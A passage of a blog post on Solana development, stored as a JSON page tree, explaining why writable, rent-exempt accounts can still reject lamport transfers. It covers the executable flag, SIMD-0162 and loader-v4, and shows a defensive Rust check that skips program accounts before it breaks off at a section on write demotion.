lamports",{"type":23,"tag":504,"props":75267,"children":75268},{"style":5047},[75269],{"type":29,"value":10764},{"type":23,"tag":504,"props":75271,"children":75272},{"style":5030},[75273],{"type":29,"value":15843},{"type":23,"tag":504,"props":75275,"children":75276},{"style":5047},[75277],{"type":29,"value":357},{"type":23,"tag":504,"props":75279,"children":75280},{"style":5139},[75281],{"type":29,"value":75282},"get_lamports",{"type":23,"tag":504,"props":75284,"children":75285},{"style":5058},[75286],{"type":29,"value":17783},{"type":23,"tag":504,"props":75288,"children":75289},{"class":5016,"line":5308},[75290,75294,75298,75302,75306,75310,75315],{"type":23,"tag":504,"props":75291,"children":75292},{"style":5067},[75293],{"type":29,"value":17791},{"type":23,"tag":504,"props":75295,"children":75296},{"style":5467},[75297],{"type":29,"value":17796},{"type":23,"tag":504,"props":75299,"children":75300},{"style":5058},[75301],{"type":29,"value":603},{"type":23,"tag":504,"props":75303,"children":75304},{"style":5467},[75305],{"type":29,"value":17805},{"type":23,"tag":504,"props":75307,"children":75308},{"style":5047},[75309],{"type":29,"value":5530},{"type":23,"tag":504,"props":75311,"children":75312},{"style":5467},[75313],{"type":29,"value":75314},"ExternalAccountLamportSpend",{"type":23,"tag":504,"props":75316,"children":75317},{"style":5058},[75318],{"type":29,"value":5888},{"type":23,"tag":504,"props":75320,"children":75321},{"class":5016,"line":5336},[75322],{"type":23,"tag":504,"props":75323,"children":75324},{"style":5058},[75325],{"type":29,"value":5403},{"type":23,"tag":504,"props":75327,"children":75328},{"class":5016,"line":5349},[75329],{"type":23,"tag":504,"props":75330,"children":75331},{"style":5021},[75332],{"type":29,"value":75333},"    // The balance of read-only may not change\n",{"type":23,"tag":504,"props":75335,"children":75336},{"class":5016,"line":5367},[75337,75341,75345,75349,75353,75358],{"type":23,"tag":504,"props":75338,"children":75339},{"style":5067},[75340],{"type":29,"value":14325},{"type":23,"tag":504,"props":75342,"children":75343},{"style":5047},[75344],{"type":29,"value":14910},{"type":23,"tag":504,"props":75346,"children":75347},{"style":5030},[75348],{"type":29,"value":15759},{"type":23,"tag":504,"props":75350,"children":75351},{"style":5047},[75352],{"type":29,"value":357},{"type":23,"tag":504,"props":75354,"children":75355},{"style":5139},[75356],{"type":29,"value":75357},"is_writable",{"type":23,"tag":504,"props":75359,"children":75360},{"style":5058},[75361],{"type":29,"value":17783},{"type":23,"tag":504,"props":75363,"children":75364},{"class":5016,"line":5388},[75365,75369,75373,75377,75381,75385,75390],{"type":23,"tag":504,"props":75366,"children":75367},{"style":5067},[75368],{"type":29,"value":17791},{"type":23,"tag":504,"props":75370,"children":75371},{"style":5467},[75372],{"type":29,"value":17796},{"type":23,"tag":504,"props":75374,"children":75375},{"style":5058},[75376],{"type":29,"value":603},{"type":23,"tag":504,"props":75378,"children":75379},{"style":5467},[75380],{"type":29,"value":17805},{"type":23,"tag":504,"props":75382,"children":75383},{"style":5047},[75384],{"type":29,"value":5530},{"type":23,"tag":504,"props":75386,"children":75387},{"style":5467},[75388],{"type":29,"value":75389},"ReadonlyLamportChange",{"type":23,"tag":504,"props":75391,"children":75392},{"style":5058},[75393],{"type":29,"value":5888},{"type":23,"tag":504,"props":75395,"children":75396},{"class":5016,"line":5397},[75397],{"type":23,"tag":504,"props":75398,"children":75399},{"style":5058},[75400],{"type":29,"value":5403},{"type":23,"tag":504,"props":75402,"children":75403},{"class":5016,"line":5649},[75404],{"type":23,"tag":504,"props":75405,"children":75406},{"style":5021},[75407],{"type":29,"value":75408},"    // The balance of executable accounts may not change\n",{"type":23,"tag":504,"props":75410,"children":75411},{"class":5016,"line":5666},[75412,75416,75420,75424,75429],{"type":23,"tag":504,"props":75413,"children":75414},{"style":5067},[75415],{"type":29,"value":14325},{"type":23,"tag":504,"props":75417,"children":75418},{"style":5030},[75419],{"type":29,"value":15843},{"type":23,"tag":504,"props":75421,"children":75422},{"style":5047},[75423],{"type":29,"value":357},{"type":23,"tag":504,"props":75425,"children":75426},{"style":5139},[75427],{"type":29,"value":75428},"is_executable_internal",{"type":23,"tag":504,"props":75430,"children":75431},{"style":5058},[75432],{"type":29,"value":17783},{"type":23,"tag":504,"props":75434,"children":75435},{"class":5016,"line":5683},[75436,75440,75444,75448,75452,75456,75461],{"type":23,"tag":504,"props":75437,"children":75438},{"style":5067},[75439],{"type":29,"value":17791},{"type":23,"tag":504,"props":75441,"children":75442},{"style":5467},[75443],{"type":29,"value":17796},{"type":23,"tag":504,"props":75445,"children":75446},{"style":5058},[75447],{"type":29,"value":603},{"type":23,"tag":504,"props":75449,"children":75450},{"style":5467},[75451],{"type":29,"value":17805},{"type":23,"tag":504,"props":75453,"children":75454},{"style":5047},[75455],{"type":29,"value":5530},{"type":23,"tag":504,"props":75457,"children":75458},{"style":5467},[75459],{"type":29,"value":75460},"ExecutableLamportChange",{"type":23,"tag":504,"props":75462,"children":75463},{"style":5058},[75464],{"type":29,"value":5888},{"type":23,"tag":504,"props":75466,"children":75467},{"class":5016,"line":5696},[75468],{"type":23,"tag":504,"props":75469,"children":75470},{"style":5058},[75471],{"type":29,"value":5403},{"type":23,"tag":504,"props":75473,"children":75474},{"class":5016,"line":5705},[75475],{"type":23,"tag":504,"props":75476,"children":75477},{"style":5021},[75478],{"type":29,"value":75479},"    // don't touch the account if the lamports do not change\n",{"type":23,"tag":504,"props":75481,"children":75482},{"class":5016,"line":5728},[75483,75487,75491,75495,75499,75503,75507,75511],{"type":23,"tag":504,"props":75484,"children":75485},{"style":5067},[75486],{"type":29,"value":14325},{"type":23,"tag":504,"props":75488,"children":75489},{"style":5030},[75490],{"type":29,"value":15843},{"type":23,"tag":504,"props":75492,"children":75493},{"style":5047},[75494],{"type":29,"value":357},{"type":23,"tag":504,"props":75496,"children":75497},{"style":5139},[75498],{"type":29,"value":75282},{"type":23,"tag":504,"props":75500,"children":75501},{"style":5058},[75502],{"type":29,"value":16089},{"type":23,"tag":504,"props":75504,"children":75505},{"style":5047},[75506],{"type":29,"value":1224},{"type":23,"tag":504,"props":75508,"children":75509},{"style":5041},[75510],{"type":29,"value":75265},{"type":23,"tag":504,"props":75512,"children":75513},{"style":5058},[75514],{"type":29,"value":5333},{"type":23,"tag":504,"props":75516,"children":75517},{"class":5016,"line":5737},[75518,75522,75526],{"type":23,"tag":504,"props":75519,"children":75520},{"style":5067},[75521],{"type":29,"value":17791},{"type":23,"tag":504,"props":75523,"children":75524},{"style":5467},[75525],{"type":29,"value":44995},{"type":23,"tag":504,"props":75527,"children":75528},{"style":5058},[75529],{"type":29,"value":75530},"(());\n",{"type":23,"tag":504,"props":75532,"children":75533},{"class":5016,"line":5746},[75534],{"type":23,"tag":504,"props":75535,"children":75536},{"style":5058},[75537],{"type":29,"value":5403},{"type":23,"tag":504,"props":75539,"children":75540},{"class":5016,"line":5813},[75541,75545,75549,75554,75558,75562],{"type":23,"tag":504,"props":75542,"children":75543},{"style":5030},[75544],{"type":29,"value":22838},{"type":23,"tag":504,"props":75546,"children":75547},{"style":5047},[75548],{"type":29,"value":357},{"type":23,"tag":504,"props":75550,"children":75551},{"style":5139},[75552],{"type":29,"value":75553},"touch",{"type":23,"tag":504,"props":75555,"children":75556},{"style":5058},[75557],{"type":29,"value":15925},{"type":23,"tag":504,"props":75559,"children":75560},{"style":5047},[75561],{"type":29,"value":5195},{"type":23,"tag":504,"props":75563,"children":75564},{"style":5058},[75565],{"type":29,"value":5061},{"type":23,"tag":504,"props":75567,"children":75568},{"class":5016,"line":5821},[75569,75573,75577,75581,75585,75589,75593,75597],{"type":23,"tag":504,"props":75570,"children":75571},{"style":5030},[75572],{"type":29,"value":22838},{"type":23,"tag":504,"props":75574,"children":75575},{"style":5047},[75576],{"type":29,"value":357},{"type":23,"tag":504,"props":75578,"children":75579},{"style":5058},[75580],{"type":29,"value":14999},{"type":23,"tag":504,"props":75582,"children":75583},{"style":5047},[75584],{"type":29,"value":357},{"type":23,"tag":504,"props":75586,"children":75587},{"style":5139},[75588],{"type":29,"value":75096},{"type":23,"tag":504,"props":75590,"children":75591},{"style":5058},[75592],{"type":29,"value":603},{"type":23,"tag":504,"props":75594,"children":75595},{"style":5041},[75596],{"type":29,"value":17558},{"type":23,"tag":504,"props":75598,"children":75599},{"style":5058},[75600],{"type":29,"value":5888},{"type":23,"tag":504,"props":75602,"children":75603},{"class":5016,"line":5851},[75604,75608],{"type":23,"tag":504,"props":75605,"children":75606},{"style":5467},[75607],{"type":29,"value":16379},{"type":23,"tag":504,"props":75609,"children":75610},{"style":5058},[75611],{"type":29,"value":16384},{"type":23,"tag":504,"props":75613,"children":75614},{"class":5016,"line":5859},[75615],{"type":23,"tag":504,"props":75616,"children":75617},{"style":5058},[75618],{"type":29,"value":5965},{"type":23,"tag":504,"props":75620,"children":75621},{"class":5016,"line":5891},[75622],{"type":23,"tag":504,"props":75623,"children":75624},{"emptyLinePlaceholder":15},[75625],{"type":29,"value":5734},{"type":23,"tag":504,"props":75627,"children":75628},{"class":5016,"line":5899},[75629],{"type":23,"tag":504,"props":75630,"children":75631},{"style":5021},[75632],{"type":29,"value":75633},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":23,"tag":504,"props":75635,"children":75636},{"class":5016,"line":5959},[75637,75641,75645,75649],{"type":23,"tag":504,"props":75638,"children":75639},{"style":5058},[75640],{"type":29,"value":75134},{"type":23,"tag":504,"props":75642,"children":75643},{"style":5047},[75644],{"type":29,"value":546},{"type":23,"tag":504,"props":75646,"children":75647},{"style":6297},[75648],{"type":29,"value":75143},{"type":23,"tag":504,"props":75650,"children":75651},{"style":5058},[75652],{"type":29,"value":22661},{"type":23,"tag":504,"props":75654,"children":75655},{"class":5016,"line":11093},[75656],{"type":23,"tag":504,"props":75657,"children":75658},{"style":5058},[75659],{"type":29,"value":75660},"#[inline]\n",{"type":23,"tag":504,"props":75662,"children":75663},{"class":5016,"line":11111},[75664,75668,75673,75677,75681,75685,75689,75693,75697],{"type":23,"tag":504,"props":75665,"children":75666},{"style":5030},[75667],{"type":29,"value":22319},{"type":23,"tag":504,"props":75669,"children":75670},{"style":5139},[75671],{"type":29,"value":75672}," is_executable_internal",{"type":23,"tag":504,"props":75674,"children":75675},{"style":5058},[75676],{"type":29,"value":603},{"type":23,"tag":504,"props":75678,"children":75679},{"style":5047},[75680],{"type":29,"value":5151},{"type":23,"tag":504,"props":75682,"children":75683},{"style":5030},[75684],{"type":29,"value":15759},{"type":23,"tag":504,"props":75686,"children":75687},{"style":5058},[75688],{"type":29,"value":5128},{"type":23,"tag":504,"props":75690,"children":75691},{"style":5047},[75692],{"type":29,"value":15803},{"type":23,"tag":504,"props":75694,"children":75695},{"style":5467},[75696],{"type":29,"value":14096},{"type":23,"tag":504,"props":75698,"children":75699},{"style":5058},[75700],{"type":29,"value":5333},{"type":23,"tag":504,"props":75702,"children":75703},{"class":5016,"line":11156},[75704,75708],{"type":23,"tag":504,"props":75705,"children":75706},{"style":5047},[75707],{"type":29,"value":23022},{"type":23,"tag":504,"props":75709,"children":75710},{"style":5030},[75711],{"type":29,"value":75712},"self\n",{"type":23,"tag":504,"props":75714,"children":75715},{"class":5016,"line":11262},[75716,75720],{"type":23,"tag":504,"props":75717,"children":75718},{"style":5047},[75719],{"type":29,"value":70323},{"type":23,"tag":504,"props":75721,"children":75722},{"style":5058},[75723],{"type":29,"value":75724},"transaction_context\n",{"type":23,"tag":504,"props":75726,"children":75727},{"class":5016,"line":25550},[75728,75732],{"type":23,"tag":504,"props":75729,"children":75730},{"style":5047},[75731],{"type":29,"value":70323},{"type":23,"tag":504,"props":75733,"children":75734},{"style":5058},[75735],{"type":29,"value":75736},"remove_accounts_executable_flag_checks\n",{"type":23,"tag":504,"props":75738,"children":75739},{"class":5016,"line":25585},[75740,75744,75748,75752,75756,75760,75764],{"type":23,"tag":504,"props":75741,"children":75742},{"style":5047},[75743],{"type":29,"value":44859},{"type":23,"tag":504,"props":75745,"children":75746},{"style":5030},[75747],{"type":29,"value":15843},{"type":23,"tag":504,"props":75749,"children":75750},{"style":5047},[75751],{"type":29,"value":357},{"type":23,"tag":504,"props":75753,"children":75754},{"style":5058},[75755],{"type":29,"value":14999},{"type":23,"tag":504,"props":75757,"children":75758},{"style":5047},[75759],{"type":29,"value":357},{"type":23,"tag":504,"props":75761,"children":75762},{"style":5139},[75763],{"type":29,"value":17702},{"type":23,"tag":504,"props":75765,"children":75766},{"style":5058},[75767],{"type":29,"value":9780},{"type":23,"tag":504,"props":75769,"children":75770},{"class":5016,"line":25593},[75771],{"type":23,"tag":504,"props":75772,"children":75773},{"style":5058},[75774],{"type":29,"value":5965},{"type":23,"tag":32,"props":75776,"children":75777},{},[75778],{"type":29,"value":75779},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":23,"tag":32,"props":75781,"children":75782},{},[75783,75785,75790],{"type":29,"value":75784},"Specifically, ",{"type":23,"tag":38,"props":75786,"children":75787},{},[75788],{"type":29,"value":75789},"executable accounts",{"type":29,"value":75791}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":23,"tag":20944,"props":75793,"children":75795},{"id":75794},"sidebar-whats-the-executable-flag-anyway",[75796],{"type":29,"value":75797},"Sidebar: What's the executable Flag Anyway?",{"type":23,"tag":32,"props":75799,"children":75800},{},[75801,75802,75807],{"type":29,"value":18661},{"type":23,"tag":154,"props":75803,"children":75805},{"className":75804},[],[75806],{"type":29,"value":17702},{"type":29,"value":75808}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":23,"tag":32,"props":75810,"children":75811},{},[75812,75814,75819],{"type":29,"value":75813},"This behavior became problematic with the introduction of the ",{"type":23,"tag":38,"props":75815,"children":75816},{},[75817],{"type":29,"value":75818},"Upgradeable BPF Loader",{"type":29,"value":75820},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":23,"tag":4743,"props":75822,"children":75824},{"className":5009,"code":75823,"language":5008,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[75825],{"type":23,"tag":154,"props":75826,"children":75827},{"__ignoreMap":7},[75828,75840,75848,75868,75876,75888,75896,75916,75924,75952,75960,75968],{"type":23,"tag":504,"props":75829,"children":75830},{"class":5016,"line":5017},[75831,75836],{"type":23,"tag":504,"props":75832,"children":75833},{"style":5467},[75834],{"type":29,"value":75835},"Program",{"type":23,"tag":504,"props":75837,"children":75838},{"style":5058},[75839],{"type":29,"value":5333},{"type":23,"tag":504,"props":75841,"children":75842},{"class":5016,"line":4868},[75843],{"type":23,"tag":504,"props":75844,"children":75845},{"style":5021},[75846],{"type":29,"value":75847},"    /// Address of the ProgramData account.\n",{"type":23,"tag":504,"props":75849,"children":75850},{"class":5016,"line":4876},[75851,75856,75860,75864],{"type":23,"tag":504,"props":75852,"children":75853},{"style":5041},[75854],{"type":29,"value":75855},"    programdata_address",{"type":23,"tag":504,"props":75857,"children":75858},{"style":5047},[75859],{"type":29,"value":6533},{"type":23,"tag":504,"props":75861,"children":75862},{"style":5467},[75863],{"type":29,"value":22909},{"type":23,"tag":504,"props":75865,"children":75866},{"style":5058},[75867],{"type":29,"value":5557},{"type":23,"tag":504,"props":75869,"children":75870},{"class":5016,"line":5099},[75871],{"type":23,"tag":504,"props":75872,"children":75873},{"style":5058},[75874],{"type":29,"value":75875},"},\n",{"type":23,"tag":504,"props":75877,"children":75878},{"class":5016,"line":5203},[75879,75884],{"type":23,"tag":504,"props":75880,"children":75881},{"style":5467},[75882],{"type":29,"value":75883},"ProgramData",{"type":23,"tag":504,"props":75885,"children":75886},{"style":5058},[75887],{"type":29,"value":5333},{"type":23,"tag":504,"props":75889,"children":75890},{"class":5016,"line":5308},[75891],{"type":23,"tag":504,"props":75892,"children":75893},{"style":5021},[75894],{"type":29,"value":75895},"    /// Slot that the program was last modified.\n",{"type":23,"tag":504,"props":75897,"children":75898},{"class":5016,"line":5336},[75899,75904,75908,75912],{"type":23,"tag":504,"props":75900,"children":75901},{"style":5041},[75902],{"type":29,"value":75903},"    slot",{"type":23,"tag":504,"props":75905,"children":75906},{"style":5047},[75907],{"type":29,"value":6533},{"type":23,"tag":504,"props":75909,"children":75910},{"style":5467},[75911],{"type":29,"value":7905},{"type":23,"tag":504,"props":75913,"children":75914},{"style":5058},[75915],{"type":29,"value":5557},{"type":23,"tag":504,"props":75917,"children":75918},{"class":5016,"line":5349},[75919],{"type":23,"tag":504,"props":75920,"children":75921},{"style":5021},[75922],{"type":29,"value":75923},"    /// Address of the Program's upgrade authority.\n",{"type":23,"tag":504,"props":75925,"children":75926},{"class":5016,"line":5367},[75927,75932,75936,75940,75944,75948],{"type":23,"tag":504,"props":75928,"children":75929},{"style":5041},[75930],{"type":29,"value":75931},"    upgrade_authority_address",{"type":23,"tag":504,"props":75933,"children":75934},{"style":5047},[75935],{"type":29,"value":6533},{"type":23,"tag":504,"props":75937,"children":75938},{"style":5467},[75939],{"type":29,"value":29699},{"type":23,"tag":504,"props":75941,"children":75942},{"style":5058},[75943],{"type":29,"value":2658},{"type":23,"tag":504,"props":75945,"children":75946},{"style":5467},[75947],{"type":29,"value":23450},{"type":23,"tag":504,"props":75949,"children":75950},{"style":5058},[75951],{"type":29,"value":8183},{"type":23,"tag":504,"props":75953,"children":75954},{"class":5016,"line":5388},[75955],{"type":23,"tag":504,"props":75956,"children":75957},{"style":5021},[75958],{"type":29,"value":75959},"    // The raw program data follows this serialized structure in the\n",{"type":23,"tag":504,"props":75961,"children":75962},{"class":5016,"line":5397},[75963],{"type":23,"tag":504,"props":75964,"children":75965},{"style":5021},[75966],{"type":29,"value":75967},"    // account's data.\n",{"type":23,"tag":504,"props":75969,"children":75970},{"class":5016,"line":5649},[75971],{"type":23,"tag":504,"props":75972,"children":75973},{"style":5058},[75974],{"type":29,"value":75875},{"type":23,"tag":32,"props":75976,"children":75977},{},[75978,75980,75987],{"type":29,"value":75979},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":23,"tag":68,"props":75981,"children":75984},{"href":75982,"rel":75983},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[72],[75985],{"type":29,"value":75986},"SIMD-0162",{"type":29,"value":75988},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":23,"tag":32,"props":75990,"children":75991},{},[75992,75994,75999,76001,76006],{"type":29,"value":75993},"This change is also a ",{"type":23,"tag":38,"props":75995,"children":75996},{},[75997],{"type":29,"value":75998},"hard requirement for supporting the new loader-v4",{"type":29,"value":76000},". Unlike the upgradable loader, which relies on a separate ",{"type":23,"tag":154,"props":76002,"children":76004},{"className":76003},[],[76005],{"type":29,"value":75883},{"type":29,"value":76007}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":23,"tag":32,"props":76009,"children":76010},{},[76011,76013,76020,76022,76027],{"type":29,"value":76012},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":23,"tag":68,"props":76014,"children":76017},{"href":76015,"rel":76016},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[72],[76018],{"type":29,"value":76019},"migrate",{"type":29,"value":76021}," from the upgradable loader to loader-v4 — without hitting the ",{"type":23,"tag":154,"props":76023,"children":76025},{"className":76024},[],[76026],{"type":29,"value":75460},{"type":29,"value":76028}," restriction.",{"type":23,"tag":20944,"props":76030,"children":76032},{"id":76031},"fix-2-reject-program-accounts",[76033],{"type":29,"value":76034},"Fix 2: Reject Program Accounts",{"type":23,"tag":32,"props":76036,"children":76037},{},[76038],{"type":29,"value":76039},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":23,"tag":4743,"props":76041,"children":76043},{"className":5009,"code":76042,"language":5008,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[76044],{"type":23,"tag":154,"props":76045,"children":76046},{"__ignoreMap":7},[76047,76123,76171,76187,76194,76233,76277,76301,76350,76378],{"type":23,"tag":504,"props":76048,"children":76049},{"class":5016,"line":5017},[76050,76054,76058,76063,76067,76071,76075,76079,76083,76087,76091,76095,76099,76103,76107,76111,76115,76119],{"type":23,"tag":504,"props":76051,"children":76052},{"style":5030},[76053],{"type":29,"value":15736},{"type":23,"tag":504,"props":76055,"children":76056},{"style":5030},[76057],{"type":29,"value":15741},{"type":23,"tag":504,"props":76059,"children":76060},{"style":5139},[76061],{"type":29,"value":76062}," can_transfer_lamports",{"type":23,"tag":504,"props":76064,"children":76065},{"style":5058},[76066],{"type":29,"value":603},{"type":23,"tag":504,"props":76068,"children":76069},{"style":5041},[76070],{"type":29,"value":14999},{"type":23,"tag":504,"props":76072,"children":76073},{"style":5047},[76074],{"type":29,"value":6533},{"type":23,"tag":504,"props":76076,"children":76077},{"style":5047},[76078],{"type":29,"value":9185},{"type":23,"tag":504,"props":76080,"children":76081},{"style":5467},[76082],{"type":29,"value":16985},{"type":23,"tag":504,"props":76084,"children":76085},{"style":5058},[76086],{"type":29,"value":4367},{"type":23,"tag":504,"props":76088,"children":76089},{"style":5041},[76090],{"type":29,"value":17558},{"type":23,"tag":504,"props":76092,"children":76093},{"style":5047},[76094],{"type":29,"value":6533},{"type":23,"tag":504,"props":76096,"children":76097},{"style":5467},[76098],{"type":29,"value":7905},{"type":23,"tag":504,"props":76100,"children":76101},{"style":5058},[76102],{"type":29,"value":5128},{"type":23,"tag":504,"props":76104,"children":76105},{"style":5047},[76106],{"type":29,"value":15803},{"type":23,"tag":504,"props":76108,"children":76109},{"style":5467},[76110],{"type":29,"value":15808},{"type":23,"tag":504,"props":76112,"children":76113},{"style":5058},[76114],{"type":29,"value":2658},{"type":23,"tag":504,"props":76116,"children":76117},{"style":5467},[76118],{"type":29,"value":31740},{"type":23,"tag":504,"props":76120,"children":76121},{"style":5058},[76122],{"type":29,"value":9325},{"type":23,"tag":504,"props":76124,"children":76125},{"class":5016,"line":4868},[76126,76130,76135,76139,76143,76147,76151,76155,76159,76163,76167],{"type":23,"tag":504,"props":76127,"children":76128},{"style":5030},[76129],{"type":29,"value":22319},{"type":23,"tag":504,"props":76131,"children":76132},{"style":5139},[76133],{"type":29,"value":76134}," is_program",{"type":23,"tag":504,"props":76136,"children":76137},{"style":5058},[76138],{"type":29,"value":603},{"type":23,"tag":504,"props":76140,"children":76141},{"style":5041},[76142],{"type":29,"value":14999},{"type":23,"tag":504,"props":76144,"children":76145},{"style":5047},[76146],{"type":29,"value":6533},{"type":23,"tag":504,"props":76148,"children":76149},{"style":5047},[76150],{"type":29,"value":9185},{"type":23,"tag":504,"props":76152,"children":76153},{"style":5467},[76154],{"type":29,"value":16985},{"type":23,"tag":504,"props":76156,"children":76157},{"style":5058},[76158],{"type":29,"value":5128},{"type":23,"tag":504,"props":76160,"children":76161},{"style":5047},[76162],{"type":29,"value":15803},{"type":23,"tag":504,"props":76164,"children":76165},{"style":5467},[76166],{"type":29,"value":14096},{"type":23,"tag":504,"props":76168,"children":76169},{"style":5058},[76170],{"type":29,"value":5333},{"type":23,"tag":504,"props":76172,"children":76173},{"class":5016,"line":4876},[76174,76178,76182],{"type":23,"tag":504,"props":76175,"children":76176},{"style":5041},[76177],{"type":29,"value":27224},{"type":23,"tag":504,"props":76179,"children":76180},{"style":5047},[76181],{"type":29,"value":357},{"type":23,"tag":504,"props":76183,"children":76184},{"style":5058},[76185],{"type":29,"value":76186},"executable\n",{"type":23,"tag":504,"props":76188,"children":76189},{"class":5016,"line":5099},[76190],{"type":23,"tag":504,"props":76191,"children":76192},{"style":5058},[76193],{"type":29,"value":5965},{"type":23,"tag":504,"props":76195,"children":76196},{"class":5016,"line":5203},[76197,76201,76205,76209,76213,76217,76221,76225,76229],{"type":23,"tag":504,"props":76198,"children":76199},{"style":5030},[76200],{"type":29,"value":13833},{"type":23,"tag":504,"props":76202,"children":76203},{"style":5041},[76204],{"type":29,"value":74954},{"type":23,"tag":504,"props":76206,"children":76207},{"style":5047},[76208],{"type":29,"value":5050},{"type":23,"tag":504,"props":76210,"children":76211},{"style":5467},[76212],{"type":29,"value":45530},{"type":23,"tag":504,"props":76214,"children":76215},{"style":5047},[76216],{"type":29,"value":5530},{"type":23,"tag":504,"props":76218,"children":76219},{"style":5139},[76220],{"type":29,"value":18399},{"type":23,"tag":504,"props":76222,"children":76223},{"style":5058},[76224],{"type":29,"value":15925},{"type":23,"tag":504,"props":76226,"children":76227},{"style":5047},[76228],{"type":29,"value":5195},{"type":23,"tag":504,"props":76230,"children":76231},{"style":5058},[76232],{"type":29,"value":5061},{"type":23,"tag":504,"props":76234,"children":76235},{"class":5016,"line":5308},[76236,76240,76245,76249,76253,76257,76261,76265,76269,76273],{"type":23,"tag":504,"props":76237,"children":76238},{"style":5030},[76239],{"type":29,"value":13833},{"type":23,"tag":504,"props":76241,"children":76242},{"style":5041},[76243],{"type":29,"value":76244}," balance_after",{"type":23,"tag":504,"props":76246,"children":76247},{"style":5047},[76248],{"type":29,"value":5050},{"type":23,"tag":504,"props":76250,"children":76251},{"style":5041},[76252],{"type":29,"value":7527},{"type":23,"tag":504,"props":76254,"children":76255},{"style":5047},[76256],{"type":29,"value":357},{"type":23,"tag":504,"props":76258,"children":76259},{"style":5139},[76260],{"type":29,"value":17558},{"type":23,"tag":504,"props":76262,"children":76263},{"style":5058},[76264],{"type":29,"value":16089},{"type":23,"tag":504,"props":76266,"children":76267},{"style":5047},[76268],{"type":29,"value":6422},{"type":23,"tag":504,"props":76270,"children":76271},{"style":5041},[76272],{"type":29,"value":75265},{"type":23,"tag":504,"props":76274,"children":76275},{"style":5058},[76276],{"type":29,"value":5061},{"type":23,"tag":504,"props":76278,"children":76279},{"class":5016,"line":5336},[76280,76284,76288,76292,76296],{"type":23,"tag":504,"props":76281,"children":76282},{"style":5467},[76283],{"type":29,"value":22542},{"type":23,"tag":504,"props":76285,"children":76286},{"style":5058},[76287],{"type":29,"value":603},{"type":23,"tag":504,"props":76289,"children":76290},{"style":5041},[76291],{"type":29,"value":14999},{"type":23,"tag":504,"props":76293,"children":76294},{"style":5047},[76295],{"type":29,"value":357},{"type":23,"tag":504,"props":76297,"children":76298},{"style":5058},[76299],{"type":29,"value":76300},"is_writable\n",{"type":23,"tag":504,"props":76302,"children":76303},{"class":5016,"line":5349},[76304,76308,76312,76316,76321,76325,76330,76334,76338,76342,76346],{"type":23,"tag":504,"props":76305,"children":76306},{"style":5047},[76307],{"type":29,"value":17668},{"type":23,"tag":504,"props":76309,"children":76310},{"style":5041},[76311],{"type":29,"value":74954},{"type":23,"tag":504,"props":76313,"children":76314},{"style":5047},[76315],{"type":29,"value":357},{"type":23,"tag":504,"props":76317,"children":76318},{"style":5139},[76319],{"type":29,"value":76320},"is_exempt",{"type":23,"tag":504,"props":76322,"children":76323},{"style":5058},[76324],{"type":29,"value":603},{"type":23,"tag":504,"props":76326,"children":76327},{"style":5041},[76328],{"type":29,"value":76329},"balance_after",{"type":23,"tag":504,"props":76331,"children":76332},{"style":5058},[76333],{"type":29,"value":4367},{"type":23,"tag":504,"props":76335,"children":76336},{"style":5041},[76337],{"type":29,"value":14999},{"type":23,"tag":504,"props":76339,"children":76340},{"style":5047},[76341],{"type":29,"value":357},{"type":23,"tag":504,"props":76343,"children":76344},{"style":5139},[76345],{"type":29,"value":15852},{"type":23,"tag":504,"props":76347,"children":76348},{"style":5058},[76349],{"type":29,"value":17707},{"type":23,"tag":504,"props":76351,"children":76352},{"class":5016,"line":5367},[76353,76357,76361,76366,76370,76374],{"type":23,"tag":504,"props":76354,"children":76355},{"style":5047},[76356],{"type":29,"value":17668},{"type":23,"tag":504,"props":76358,"children":76359},{"style":5047},[76360],{"type":29,"value":14910},{"type":23,"tag":504,"props":76362,"children":76363},{"style":5139},[76364],{"type":29,"value":76365},"is_program",{"type":23,"tag":504,"props":76367,"children":76368},{"style":5058},[76369],{"type":29,"value":603},{"type":23,"tag":504,"props":76371,"children":76372},{"style":5041},[76373],{"type":29,"value":14999},{"type":23,"tag":504,"props":76375,"children":76376},{"style":5058},[76377],{"type":29,"value":21764},{"type":23,"tag":504,"props":76379,"children":76380},{"class":5016,"line":5388},[76381],{"type":23,"tag":504,"props":76382,"children":76383},{"style":5058},[76384],{"type":29,"value":5965},{"type":23,"tag":32,"props":76386,"children":76387},{},[76388],{"type":29,"value":76389},"Now we’re safe...right?",{"type":23,"tag":320,"props":76391,"children":76393},{"id":76392},"bug-3-the-write-demotion-trap",[76394],{"type":29,"value":76395},"Bug 3: The Write-Demotion Trap",{"type":23,"tag":32,"props":76397,"children":76398},{},[76399,76401,76406,76408,76413],{"type":29,"value":76400},"On Solana, accounts passed as ",{"type":23,"tag":38,"props":76402,"children":76403},{},[76404],{"type":29,"value":76405},"writable",{"type":29,"value":76407}," in a transaction can be ",{"type":23,"tag":38,"props":76409,"children":76410},{},[76411],{"type":29,"value":76412},"silently downgraded to read-only",{"type":29,"value":76414},". This behavior occurs during message sanitization — even before your program 